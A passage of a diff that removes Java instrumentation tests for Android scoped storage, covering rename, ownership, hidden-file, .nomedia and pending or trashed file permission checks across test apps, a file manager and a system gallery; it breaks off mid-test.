-            assertThat(createFileAs(APP_B_NO_PERMS, otherAppAudioFile.getPath())).isTrue();
-            assertThat(otherAppAudioFile.exists()).isTrue();
-
-            // Assert we can't access the file
-            assertThat(canOpen(otherAppAudioFile, /* forWrite */ false)).isFalse();
-            assertThat(canOpen(otherAppAudioFile, /* forWrite */ true)).isFalse();
-
-            // Assert we can't delete the file
-            assertThat(otherAppAudioFile.delete()).isFalse();
-
-            // Can't create an audio file where it doesn't belong
-            assertThrows(IOException.class, "Operation not permitted",
-                    () -> {
-                        topLevelAudioFile.createNewFile();
-                    });
-            assertThrows(IOException.class, "Operation not permitted",
-                    () -> {
-                        audioInAnObviouslyWrongPlace.createNewFile();
-                    });
-        } finally {
-            deleteFileAs(APP_B_NO_PERMS, otherAppAudioFile.getPath());
-            topLevelAudioFile.delete();
-            audioInAnObviouslyWrongPlace.delete();
-            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-        }
-    }
-
-    @Test
-    public void testSystemGalleryCanRenameImagesAndVideos() throws Exception {
-        final File otherAppVideoFile = new File(getDcimDir(), "other_" + VIDEO_FILE_NAME);
-        final File imageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
-        final File videoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
-        final File topLevelVideoFile = new File(getExternalStorageDir(), VIDEO_FILE_NAME);
-        final File musicFile = new File(getMusicDir(), AUDIO_FILE_NAME);
-        try {
-            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-
-            // Have another app create a video file
-            assertThat(createFileAs(APP_B_NO_PERMS, otherAppVideoFile.getPath())).isTrue();
-            assertThat(otherAppVideoFile.exists()).isTrue();
-
-            // Write some data to the file
-            try (FileOutputStream fos = new FileOutputStream(otherAppVideoFile)) {
-                fos.write(BYTES_DATA1);
-            }
-            assertFileContent(otherAppVideoFile, BYTES_DATA1);
-
-            // Assert we can rename the file and ensure the file has the same content
-            assertCanRenameFile(otherAppVideoFile, videoFile);
-            assertFileContent(videoFile, BYTES_DATA1);
-            // We can even move it to the top level directory
-            assertCanRenameFile(videoFile, topLevelVideoFile);
-            assertFileContent(topLevelVideoFile, BYTES_DATA1);
-            // And we can even convert it into an image file, because why not?
-            assertCanRenameFile(topLevelVideoFile, imageFile);
-            assertFileContent(imageFile, BYTES_DATA1);
-
-            // We can convert it to a music file, but we won't have access to music file after
-            // renaming.
-            assertThat(imageFile.renameTo(musicFile)).isTrue();
-            assertThat(getFileRowIdFromDatabase(musicFile)).isEqualTo(-1);
-        } finally {
-            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppVideoFile.getAbsolutePath());
-            imageFile.delete();
-            videoFile.delete();
-            topLevelVideoFile.delete();
-            executeShellCommand("rm  " + musicFile.getAbsolutePath());
-            MediaStore.scanFile(getContentResolver(), musicFile);
-            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-        }
-    }
-
-    /**
-     * Test that basic file path restrictions are enforced on file rename.
-     */
-    @Test
-    public void testRenameFile() throws Exception {
-        final File downloadDir = getDownloadDir();
-        final File nonMediaDir = new File(downloadDir, TEST_DIRECTORY_NAME);
-        final File pdfFile1 = new File(downloadDir, NONMEDIA_FILE_NAME);
-        final File pdfFile2 = new File(nonMediaDir, NONMEDIA_FILE_NAME);
-        final File videoFile1 = new File(getDcimDir(), VIDEO_FILE_NAME);
-        final File videoFile2 = new File(getMoviesDir(), VIDEO_FILE_NAME);
-        final File videoFile3 = new File(downloadDir, VIDEO_FILE_NAME);
-
-        try {
-            // Renaming non media file to media directory is not allowed.
-            assertThat(pdfFile1.createNewFile()).isTrue();
-            assertCantRenameFile(pdfFile1, new File(getDcimDir(), NONMEDIA_FILE_NAME));
-            assertCantRenameFile(pdfFile1, new File(getMusicDir(), NONMEDIA_FILE_NAME));
-            assertCantRenameFile(pdfFile1, new File(getMoviesDir(), NONMEDIA_FILE_NAME));
-
-            // Renaming non media files to non media directories is allowed.
-            if (!nonMediaDir.exists()) {
-                assertThat(nonMediaDir.mkdirs()).isTrue();
-            }
-            // App can rename pdfFile to non media directory.
-            assertCanRenameFile(pdfFile1, pdfFile2);
-
-            assertThat(videoFile1.createNewFile()).isTrue();
-            // App can rename video file to Movies directory
-            assertCanRenameFile(videoFile1, videoFile2);
-            // App can rename video file to Download directory
-            assertCanRenameFile(videoFile2, videoFile3);
-        } finally {
-            pdfFile1.delete();
-            pdfFile2.delete();
-            videoFile1.delete();
-            videoFile2.delete();
-            videoFile3.delete();
-            deleteRecursively(nonMediaDir);
-        }
-    }
-
-    /**
-     * Test that renaming file to different mime type is allowed.
-     */
-    @Test
-    public void testRenameFileType() throws Exception {
-        final File pdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
-        final File videoFile = new File(getDcimDir(), VIDEO_FILE_NAME);
-        try {
-            assertThat(pdfFile.createNewFile()).isTrue();
-            assertThat(videoFile.exists()).isFalse();
-            // Moving pdfFile to DCIM directory is not allowed.
-            assertCantRenameFile(pdfFile, new File(getDcimDir(), NONMEDIA_FILE_NAME));
-            // However, moving pdfFile to DCIM directory with changing the mime type to video is
-            // allowed.
-            assertCanRenameFile(pdfFile, videoFile);
-
-            // On rename, MediaProvider database entry for pdfFile should be updated with new
-            // videoFile path and mime type should be updated to video/mp4.
-            assertThat(getFileMimeTypeFromDatabase(videoFile)).isEqualTo("video/mp4");
-        } finally {
-            pdfFile.delete();
-            videoFile.delete();
-        }
-    }
-
-    /**
-     * Test that renaming files overwrites files in newPath.
-     */
-    @Test
-    public void testRenameAndReplaceFile() throws Exception {
-        final File videoFile1 = new File(getDcimDir(), VIDEO_FILE_NAME);
-        final File videoFile2 = new File(getMoviesDir(), VIDEO_FILE_NAME);
-        final ContentResolver cr = getContentResolver();
-        try {
-            assertThat(videoFile1.createNewFile()).isTrue();
-            assertThat(videoFile2.createNewFile()).isTrue();
-            final Uri uriVideoFile1 = MediaStore.scanFile(cr, videoFile1);
-            final Uri uriVideoFile2 = MediaStore.scanFile(cr, videoFile2);
-
-            // Renaming a file which replaces file in newPath videoFile2 is allowed.
-            assertCanRenameFile(videoFile1, videoFile2);
-
-            // Uri of videoFile2 should be accessible after rename.
-            try (ParcelFileDescriptor pfd = cr.openFileDescriptor(uriVideoFile2, "rw")) {
-                assertThat(pfd).isNotNull();
-            }
-
-            // Uri of videoFile1 should not be accessible after rename.
-            assertThrows(FileNotFoundException.class,
-                    () -> {
-                        cr.openFileDescriptor(uriVideoFile1, "rw");
-                    });
-        } finally {
-            videoFile1.delete();
-            videoFile2.delete();
-        }
-    }
-
-    /**
-     * Test that ScanFile() after renaming file extension updates the right
-     * MIME type from the file metadata.
-     */
-    @Test
-    public void testScanUpdatesMimeTypeForRenameFileExtension() throws Exception {
-        final String audioFileName = "ScopedStorageDeviceTest_" + NONCE;
-        final File mpegFile = new File(getMusicDir(), audioFileName + ".mp3");
-        final File nonMpegFile = new File(getMusicDir(), audioFileName + ".snd");
-        try {
-            // Copy audio content to mpegFile
-            try (InputStream in =
-                         getContext().getResources().openRawResource(R.raw.test_audio);
-                 FileOutputStream out = new FileOutputStream(mpegFile)) {
-                FileUtils.copy(in, out);
-                out.getFD().sync();
-            }
-            assertThat(MediaStore.scanFile(getContentResolver(), mpegFile)).isNotNull();
-            assertThat(getFileMimeTypeFromDatabase(mpegFile)).isEqualTo("audio/mpeg");
-
-            // This rename changes MIME type from audio/mpeg to audio/basic
-            assertCanRenameFile(mpegFile, nonMpegFile);
-            assertThat(getFileMimeTypeFromDatabase(nonMpegFile)).isNotEqualTo("audio/mpeg");
-
-            assertThat(MediaStore.scanFile(getContentResolver(), nonMpegFile)).isNotNull();
-            // Above scan should read file metadata and update the MIME type to audio/mpeg
-            assertThat(getFileMimeTypeFromDatabase(nonMpegFile)).isEqualTo("audio/mpeg");
-        } finally {
-            mpegFile.delete();
-            nonMpegFile.delete();
-        }
-    }
-
-    /**
-     * Test that app without write permission for file can't update the file.
-     */
-    @Test
-    public void testRenameFileNotOwned() throws Exception {
-        final File videoFile1 = new File(getDcimDir(), VIDEO_FILE_NAME);
-        final File videoFile2 = new File(getMoviesDir(), VIDEO_FILE_NAME);
-        try {
-            assertThat(createFileAs(APP_B_NO_PERMS, videoFile1.getAbsolutePath())).isTrue();
-            // App can't rename a file owned by APP B.
-            assertCantRenameFile(videoFile1, videoFile2);
-
-            assertThat(videoFile2.createNewFile()).isTrue();
-            // App can't rename a file to videoFile1 which is owned by APP B.
-            assertCantRenameFile(videoFile2, videoFile1);
-            // TODO(b/146346138): Test that app with right URI permission should be able to rename
-            // the corresponding file
-        } finally {
-            deleteFileAsNoThrow(APP_B_NO_PERMS, videoFile1.getAbsolutePath());
-            videoFile2.delete();
-        }
-    }
-
-    /**
-     * Test that renaming file paths to an external directory such as Android/* and Android/* /*
-     * except Android/media/* /* is not allowed.
-     */
-    @Test
-    public void testRenameFileToAppSpecificDir() throws Exception {
-        final File testFile = new File(getExternalMediaDir(), IMAGE_FILE_NAME);
-        final File testFileNew = new File(getExternalMediaDir(), NONMEDIA_FILE_NAME);
-
-        try {
-            // Create a file in app's external media directory
-            if (!testFile.exists()) {
-                assertThat(testFile.createNewFile()).isTrue();
-            }
-
-            final String androidDirPath = getExternalStorageDir().getPath() + "/Android";
-
-            // Verify that we can't rename a file to Android/ or Android/data or
-            // Android/media directory
-            assertCantRenameFile(testFile, new File(androidDirPath, IMAGE_FILE_NAME));
-            assertCantRenameFile(testFile, new File(androidDirPath + "/data", IMAGE_FILE_NAME));
-            assertCantRenameFile(testFile, new File(androidDirPath + "/media", IMAGE_FILE_NAME));
-
-            // Verify that we can rename a file to app specific media directory.
-            assertCanRenameFile(testFile, testFileNew);
-        } finally {
-            testFile.delete();
-            testFileNew.delete();
-        }
-    }
-
-    /**
-     * Test that renaming directories is allowed and aligns to default directory restrictions.
-     */
-    @Test
-    public void testRenameDirectory() throws Exception {
-        final File dcimDir = getDcimDir();
-        final File downloadDir = getDownloadDir();
-        final String nonMediaDirectoryName = TEST_DIRECTORY_NAME + "NonMedia";
-        final File nonMediaDirectory = new File(downloadDir, nonMediaDirectoryName);
-        final File pdfFile = new File(nonMediaDirectory, NONMEDIA_FILE_NAME);
-
-        final String mediaDirectoryName = TEST_DIRECTORY_NAME + "Media";
-        final File mediaDirectory1 = new File(dcimDir, mediaDirectoryName);
-        final File videoFile1 = new File(mediaDirectory1, VIDEO_FILE_NAME);
-        final File mediaDirectory2 = new File(downloadDir, mediaDirectoryName);
-        final File videoFile2 = new File(mediaDirectory2, VIDEO_FILE_NAME);
-        final File mediaDirectory3 = new File(getMoviesDir(), TEST_DIRECTORY_NAME);
-        final File videoFile3 = new File(mediaDirectory3, VIDEO_FILE_NAME);
-        final File mediaDirectory4 = new File(mediaDirectory3, mediaDirectoryName);
-
-        try {
-            if (!nonMediaDirectory.exists()) {
-                assertThat(nonMediaDirectory.mkdirs()).isTrue();
-            }
-            assertThat(pdfFile.createNewFile()).isTrue();
-            // Move directory with pdf file to DCIM directory is not allowed.
-            assertThat(nonMediaDirectory.renameTo(new File(dcimDir, nonMediaDirectoryName)))
-                    .isFalse();
-
-            if (!mediaDirectory1.exists()) {
-                assertThat(mediaDirectory1.mkdirs()).isTrue();
-            }
-            assertThat(videoFile1.createNewFile()).isTrue();
-            // Renaming to and from default directories is not allowed.
-            assertThat(mediaDirectory1.renameTo(dcimDir)).isFalse();
-            // Moving top level default directories is not allowed.
-            assertCantRenameDirectory(downloadDir, new File(dcimDir, TEST_DIRECTORY_NAME), null);
-
-            // Moving media directory to Download directory is allowed.
-            assertCanRenameDirectory(mediaDirectory1, mediaDirectory2, new File[] {videoFile1},
-                    new File[] {videoFile2});
-
-            // Moving media directory to Movies directory and renaming directory in new path is
-            // allowed.
-            assertCanRenameDirectory(mediaDirectory2, mediaDirectory3, new File[] {videoFile2},
-                    new File[] {videoFile3});
-
-            // Can't rename a mediaDirectory to non empty non Media directory.
-            assertCantRenameDirectory(mediaDirectory3, nonMediaDirectory, new File[] {videoFile3});
-            // Can't rename a file to a directory.
-            assertCantRenameFile(videoFile3, mediaDirectory3);
-            // Can't rename a directory to file.
-            assertCantRenameDirectory(mediaDirectory3, pdfFile, null);
-            if (!mediaDirectory4.exists()) {
-                assertThat(mediaDirectory4.mkdir()).isTrue();
-            }
-            // Can't rename a directory to subdirectory of itself.
-            assertCantRenameDirectory(mediaDirectory3, mediaDirectory4, new File[] {videoFile3});
-
-        } finally {
-            pdfFile.delete();
-            deleteRecursively(nonMediaDirectory);
-
-            videoFile1.delete();
-            videoFile2.delete();
-            videoFile3.delete();
-            deleteRecursively(mediaDirectory1);
-            deleteRecursively(mediaDirectory2);
-            deleteRecursively(mediaDirectory3);
-            deleteRecursively(mediaDirectory4);
-        }
-    }
-
-    /**
-     * Test that renaming directory checks file ownership permissions.
-     */
-    @Test
-    public void testRenameDirectoryNotOwned() throws Exception {
-        final String mediaDirectoryName = TEST_DIRECTORY_NAME + "Media";
-        File mediaDirectory1 = new File(getDcimDir(), mediaDirectoryName);
-        File mediaDirectory2 = new File(getMoviesDir(), mediaDirectoryName);
-        File videoFile = new File(mediaDirectory1, VIDEO_FILE_NAME);
-
-        try {
-            if (!mediaDirectory1.exists()) {
-                assertThat(mediaDirectory1.mkdirs()).isTrue();
-            }
-            assertThat(createFileAs(APP_B_NO_PERMS, videoFile.getAbsolutePath())).isTrue();
-            // App doesn't have access to videoFile1, can't rename mediaDirectory1.
-            assertThat(mediaDirectory1.renameTo(mediaDirectory2)).isFalse();
-            assertThat(videoFile.exists()).isTrue();
-            // Test app can delete the file since the file is not moved to new directory.
-            assertThat(deleteFileAs(APP_B_NO_PERMS, videoFile.getAbsolutePath())).isTrue();
-        } finally {
-            deleteFileAsNoThrow(APP_B_NO_PERMS, videoFile.getAbsolutePath());
-            deleteRecursively(mediaDirectory1);
-            deleteRecursively(mediaDirectory2);
-        }
-    }
-
-    /**
-     * Test renaming empty directory is allowed
-     */
-    @Test
-    public void testRenameEmptyDirectory() throws Exception {
-        final String emptyDirectoryName = TEST_DIRECTORY_NAME + "Media";
-        File emptyDirectoryOldPath = new File(getDcimDir(), emptyDirectoryName);
-        File emptyDirectoryNewPath = new File(getMoviesDir(), TEST_DIRECTORY_NAME + "23456");
-        try {
-            if (emptyDirectoryOldPath.exists()) {
-                executeShellCommand("rm -r " + emptyDirectoryOldPath.getPath());
-            }
-            assertThat(emptyDirectoryOldPath.mkdirs()).isTrue();
-            assertCanRenameDirectory(emptyDirectoryOldPath, emptyDirectoryNewPath, null, null);
-        } finally {
-            deleteRecursively(emptyDirectoryOldPath);
-            deleteRecursively(emptyDirectoryNewPath);
-        }
-    }
-
-    /**
-     * Test that apps can create and delete hidden file.
-     */
-    @Test
-    public void testCanCreateHiddenFile() throws Exception {
-        final File hiddenImageFile = new File(getDownloadDir(), ".hiddenFile" + IMAGE_FILE_NAME);
-        try {
-            assertThat(hiddenImageFile.createNewFile()).isTrue();
-            // Write to hidden file is allowed.
-            try (FileOutputStream fos = new FileOutputStream(hiddenImageFile)) {
-                fos.write(BYTES_DATA1);
-            }
-            assertFileContent(hiddenImageFile, BYTES_DATA1);
-
-            assertNotMediaTypeImage(hiddenImageFile);
-
-            assertDirectoryContains(getDownloadDir(), hiddenImageFile);
-            assertThat(getFileRowIdFromDatabase(hiddenImageFile)).isNotEqualTo(-1);
-
-            // We can delete hidden file
-            assertThat(hiddenImageFile.delete()).isTrue();
-            assertThat(hiddenImageFile.exists()).isFalse();
-        } finally {
-            hiddenImageFile.delete();
-        }
-    }
-
-    /**
-     * Test that FUSE upper-fs is consistent with lower-fs after the lower-fs fd is closed.
-     */
-    @Test
-    public void testInodeStatConsistency() throws Exception {
-        File file = new File(getDcimDir(), IMAGE_FILE_NAME);
-
-        try {
-            byte[] writeBuffer = new byte[10];
-            Arrays.fill(writeBuffer, (byte) 1);
-
-            assertThat(file.createNewFile()).isTrue();
-            // Scanning a file is essential as files created via filepath will be marked
-            // as isPending, and we do not set listener for pending files as it can lead to
-            // performance overhead. See: I34611f0ee897dc676e7653beb7943aa6de58c55a.
-            MediaStore.scanFile(getContentResolver(), file);
-
-            // File operation #1 (to lower-fs)
-            ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
-
-            // File operation #2 (to fuse). This caches the inode for the file.
-            file.exists();
-
-            // Write bytes directly to lower-fs
-            Os.pwrite(writePfd.getFileDescriptor(), writeBuffer, 0, 10, 0);
-
-            // Close should invalidate inode cache for this file.
-            writePfd.close();
-            Thread.sleep(1000);
-
-            long fuseFileSize = file.length();
-            assertThat(writeBuffer.length).isEqualTo(fuseFileSize);
-        } finally {
-            file.delete();
-        }
-    }
-
-    /**
-     * Test that apps can rename a hidden file.
-     */
-    @Test
-    public void testCanRenameHiddenFile() throws Exception {
-        final String hiddenFileName = ".hidden" + IMAGE_FILE_NAME;
-        final File hiddenImageFile1 = new File(getDcimDir(), hiddenFileName);
-        final File hiddenImageFile2 = new File(getDownloadDir(), hiddenFileName);
-        final File imageFile = new File(getDownloadDir(), IMAGE_FILE_NAME);
-        try {
-            assertThat(hiddenImageFile1.createNewFile()).isTrue();
-            assertCanRenameFile(hiddenImageFile1, hiddenImageFile2);
-            assertNotMediaTypeImage(hiddenImageFile2);
-
-            // We can also rename hidden file to non-hidden
-            assertCanRenameFile(hiddenImageFile2, imageFile);
-            assertIsMediaTypeImage(imageFile);
-
-            // We can rename non-hidden file to hidden
-            assertCanRenameFile(imageFile, hiddenImageFile1);
-            assertNotMediaTypeImage(hiddenImageFile1);
-        } finally {
-            hiddenImageFile1.delete();
-            hiddenImageFile2.delete();
-            imageFile.delete();
-        }
-    }
-
-    /**
-     * Test that files in hidden directory have MEDIA_TYPE=MEDIA_TYPE_NONE
-     */
-    @Test
-    public void testHiddenDirectory() throws Exception {
-        final File hiddenDir = new File(getDownloadDir(), ".hidden" + TEST_DIRECTORY_NAME);
-        final File hiddenImageFile = new File(hiddenDir, IMAGE_FILE_NAME);
-        final File nonHiddenDir = new File(getDownloadDir(), TEST_DIRECTORY_NAME);
-        final File imageFile = new File(nonHiddenDir, IMAGE_FILE_NAME);
-        try {
-            if (!hiddenDir.exists()) {
-                assertThat(hiddenDir.mkdir()).isTrue();
-            }
-            assertThat(hiddenImageFile.createNewFile()).isTrue();
-
-            assertNotMediaTypeImage(hiddenImageFile);
-
-            // Renaming hiddenDir to nonHiddenDir makes the imageFile non-hidden and vice versa
-            assertCanRenameDirectory(
-                    hiddenDir, nonHiddenDir, new File[] {hiddenImageFile}, new File[] {imageFile});
-            assertIsMediaTypeImage(imageFile);
-
-            assertCanRenameDirectory(
-                    nonHiddenDir, hiddenDir, new File[] {imageFile}, new File[] {hiddenImageFile});
-            assertNotMediaTypeImage(hiddenImageFile);
-        } finally {
-            hiddenImageFile.delete();
-            imageFile.delete();
-            deleteRecursively(hiddenDir);
-            deleteRecursively(nonHiddenDir);
-        }
-    }
-
-    /**
-     * Test that files in directory with nomedia have MEDIA_TYPE=MEDIA_TYPE_NONE
-     */
-    @Test
-    public void testHiddenDirectory_nomedia() throws Exception {
-        final File directoryNoMedia = new File(getDownloadDir(), "nomedia" + TEST_DIRECTORY_NAME);
-        final File noMediaFile = new File(directoryNoMedia, ".nomedia");
-        final File imageFile = new File(directoryNoMedia, IMAGE_FILE_NAME);
-        final File videoFile = new File(directoryNoMedia, VIDEO_FILE_NAME);
-        try {
-            if (!directoryNoMedia.exists()) {
-                assertThat(directoryNoMedia.mkdir()).isTrue();
-            }
-            assertThat(noMediaFile.createNewFile()).isTrue();
-            assertThat(imageFile.createNewFile()).isTrue();
-
-            assertNotMediaTypeImage(imageFile);
-
-            // Deleting the .nomedia file makes the parent directory non hidden.
-            noMediaFile.delete();
-            MediaStore.scanFile(getContentResolver(), directoryNoMedia);
-            assertIsMediaTypeImage(imageFile);
-
-            // Creating the .nomedia file makes the parent directory hidden again
-            assertThat(noMediaFile.createNewFile()).isTrue();
-            MediaStore.scanFile(getContentResolver(), directoryNoMedia);
-            assertNotMediaTypeImage(imageFile);
-
-            // Renaming the .nomedia file to non hidden file makes the parent directory non hidden.
-            assertCanRenameFile(noMediaFile, videoFile);
-            assertIsMediaTypeImage(imageFile);
-        } finally {
-            noMediaFile.delete();
-            imageFile.delete();
-            videoFile.delete();
-            deleteRecursively(directoryNoMedia);
-        }
-    }
-
-    /**
-     * Test that only file manager and app that created the hidden file can list it.
-     */
-    @Test
-    public void testListHiddenFile() throws Exception {
-        final File dcimDir = getDcimDir();
-        final String hiddenImageFileName = ".hidden" + IMAGE_FILE_NAME;
-        final File hiddenImageFile = new File(dcimDir, hiddenImageFileName);
-        try {
-            assertThat(hiddenImageFile.createNewFile()).isTrue();
-            assertNotMediaTypeImage(hiddenImageFile);
-
-            assertDirectoryContains(dcimDir, hiddenImageFile);
-
-            // TestApp with read permissions can't see the hidden image file created by other app
-            assertThat(listAs(APP_A_HAS_RES, dcimDir.getAbsolutePath()))
-                    .doesNotContain(hiddenImageFileName);
-
-            // But file manager can
-            assertThat(listAs(APP_FM, dcimDir.getAbsolutePath()))
-                    .contains(hiddenImageFileName);
-
-            // Gallery cannot see the hidden image file created by other app
-            final int resAppUid =
-                    getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(),
-                            0);
-            try {
-                allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
-                assertThat(listAs(APP_A_HAS_RES, dcimDir.getAbsolutePath()))
-                        .doesNotContain(hiddenImageFileName);
-            } finally {
-                denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
-            }
-        } finally {
-            hiddenImageFile.delete();
-        }
-    }
-
-    @Test
-    public void testOpenPendingAndTrashed() throws Exception {
-        final File pendingImageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
-        final File trashedVideoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
-        final File pendingPdfFile = new File(getDocumentsDir(), NONMEDIA_FILE_NAME);
-        final File trashedPdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
-        Uri pendingImgaeFileUri = null;
-        Uri trashedVideoFileUri = null;
-        Uri pendingPdfFileUri = null;
-        Uri trashedPdfFileUri = null;
-        try {
-            pendingImgaeFileUri = createPendingFile(pendingImageFile);
-            assertOpenPendingOrTrashed(pendingImgaeFileUri, /*isImageOrVideo*/ true);
-
-            pendingPdfFileUri = createPendingFile(pendingPdfFile);
-            assertOpenPendingOrTrashed(pendingPdfFileUri, /*isImageOrVideo*/ false);
-
-            trashedVideoFileUri = createTrashedFile(trashedVideoFile);
-            assertOpenPendingOrTrashed(trashedVideoFileUri, /*isImageOrVideo*/ true);
-
-            trashedPdfFileUri = createTrashedFile(trashedPdfFile);
-            assertOpenPendingOrTrashed(trashedPdfFileUri, /*isImageOrVideo*/ false);
-
-        } finally {
-            deleteFiles(pendingImageFile, pendingImageFile, trashedVideoFile,
-                    trashedPdfFile);
-            deleteWithMediaProviderNoThrow(pendingImgaeFileUri, trashedVideoFileUri,
-                    pendingPdfFileUri, trashedPdfFileUri);
-        }
-    }
-
-    @Test
-    public void testListPendingAndTrashed() throws Exception {
-        final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
-        final File pdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
-        Uri imageFileUri = null;
-        Uri pdfFileUri = null;
-        try {
-            imageFileUri = createPendingFile(imageFile);
-            // Check that only owner package, file manager and system gallery can list pending image
-            // file.
-            assertListPendingOrTrashed(imageFileUri, imageFile, /*isImageOrVideo*/ true);
-
-            trashFileAndAssert(imageFileUri);
-            // Check that only owner package, file manager and system gallery can list trashed image
-            // file.
-            assertListPendingOrTrashed(imageFileUri, imageFile, /*isImageOrVideo*/ true);
-
-            pdfFileUri = createPendingFile(pdfFile);
-            // Check that only owner package, file manager can list pending non media file.
-            assertListPendingOrTrashed(pdfFileUri, pdfFile, /*isImageOrVideo*/ false);
-
-            trashFileAndAssert(pdfFileUri);
-            // Check that only owner package, file manager can list trashed non media file.
-            assertListPendingOrTrashed(pdfFileUri, pdfFile, /*isImageOrVideo*/ false);
-        } finally {
-            deleteWithMediaProviderNoThrow(imageFileUri, pdfFileUri);
-            deleteFiles(imageFile, pdfFile);
-        }
-    }
-
-    @Test
-    public void testDeletePendingAndTrashed_ownerCanDelete() throws Exception {
-        final File pendingVideoFile = new File(getDcimDir(), VIDEO_FILE_NAME);
-        final File trashedImageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
-        final File pendingPdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
-        final File trashedPdfFile = new File(getDocumentsDir(), NONMEDIA_FILE_NAME);
-        // Actual path of the file gets rewritten for pending and trashed files.
-        String pendingVideoFilePath = null;
-        String trashedImageFilePath = null;
-        String pendingPdfFilePath = null;
-        String trashedPdfFilePath = null;
-        try {
-            pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
-            trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
-            pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
-            trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
-
-            // App can delete its own pending and trashed file.
-            assertCanDeletePaths(pendingVideoFilePath, trashedImageFilePath, pendingPdfFilePath,
-                    trashedPdfFilePath);
-        } finally {
-            deletePaths(pendingVideoFilePath, trashedImageFilePath, pendingPdfFilePath,
-                    trashedPdfFilePath);
-            deleteFiles(pendingVideoFile, trashedImageFile, pendingPdfFile, trashedPdfFile);
-        }
-    }
-
-    @Test
-    public void testDeletePendingAndTrashed_otherAppCantDelete() throws Exception {
-        final File pendingVideoFile = new File(getDcimDir(), VIDEO_FILE_NAME);
-        final File trashedImageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
-        final File pendingPdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
-        final File trashedPdfFile = new File(getDocumentsDir(), NONMEDIA_FILE_NAME);
-        // Actual path of the file gets rewritten for pending and trashed files.
-        String pendingVideoFilePath = null;
-        String trashedImageFilePath = null;
-        String pendingPdfFilePath = null;
-        String trashedPdfFilePath = null;
-        try {
-            pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
-            trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
-            pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
-            trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
-
-            // App can't delete other app's pending and trashed file.
-            assertCantDeletePathsAs(APP_A_HAS_RES, pendingVideoFilePath, trashedImageFilePath,
-                    pendingPdfFilePath, trashedPdfFilePath);
-        } finally {
-            deletePaths(pendingVideoFilePath, trashedImageFilePath, pendingPdfFilePath,
-                    trashedPdfFilePath);
-            deleteFiles(pendingVideoFile, trashedImageFile, pendingPdfFile, trashedPdfFile);
-        }
-    }
-
-    @Test
-    public void testDeletePendingAndTrashed_fileManagerCanDelete() throws Exception {
-        final File pendingVideoFile = new File(getDcimDir(), VIDEO_FILE_NAME);
-        final File trashedImageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
-        final File pendingPdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
-        final File trashedPdfFile = new File(getDocumentsDir(), NONMEDIA_FILE_NAME);
-        // Actual path of the file gets rewritten for pending and trashed files.
-        String pendingVideoFilePath = null;
-        String trashedImageFilePath = null;
-        String pendingPdfFilePath = null;
-        String trashedPdfFilePath = null;
-        try {
-            pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
-            trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
-            pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
-            trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
-
-            // File Manager can delete any pending and trashed file
-            assertCanDeletePathsAs(APP_FM, pendingVideoFilePath, trashedImageFilePath,
-                    pendingPdfFilePath, trashedPdfFilePath);
-        } finally {
-            deletePaths(pendingVideoFilePath, trashedImageFilePath, pendingPdfFilePath,
-                    trashedPdfFilePath);
-            deleteFiles(pendingVideoFile, trashedImageFile, pendingPdfFile, trashedPdfFile);
-        }
-    }
-
-    @Test
-    public void testDeletePendingAndTrashed_systemGalleryCanDeleteMedia() throws Exception {
-        final File pendingVideoFile = new File(getDcimDir(), VIDEO_FILE_NAME);
-        final File trashedImageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
-        final File pendingPdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
-        final File trashedPdfFile = new File(getDocumentsDir(), NONMEDIA_FILE_NAME);
-        // Actual path of the file gets rewritten for pending and trashed files.
-        String pendingVideoFilePath = null;
-        String trashedImageFilePath = null;
-        String pendingPdfFilePath = null;
-        String trashedPdfFilePath = null;
-        try {
-            pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
-            trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
-            pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
-            trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
-
-            // System Gallery can delete any pending and trashed image or video file.
-            final int resAppUid =
-                    getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(),
-                            0);
-            try {
-                allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
-                assertTrue(isMediaTypeImageOrVideo(new File(pendingVideoFilePath)));
-                assertTrue(isMediaTypeImageOrVideo(new File(trashedImageFilePath)));
-                assertCanDeletePathsAs(APP_A_HAS_RES, pendingVideoFilePath, trashedImageFilePath);
-
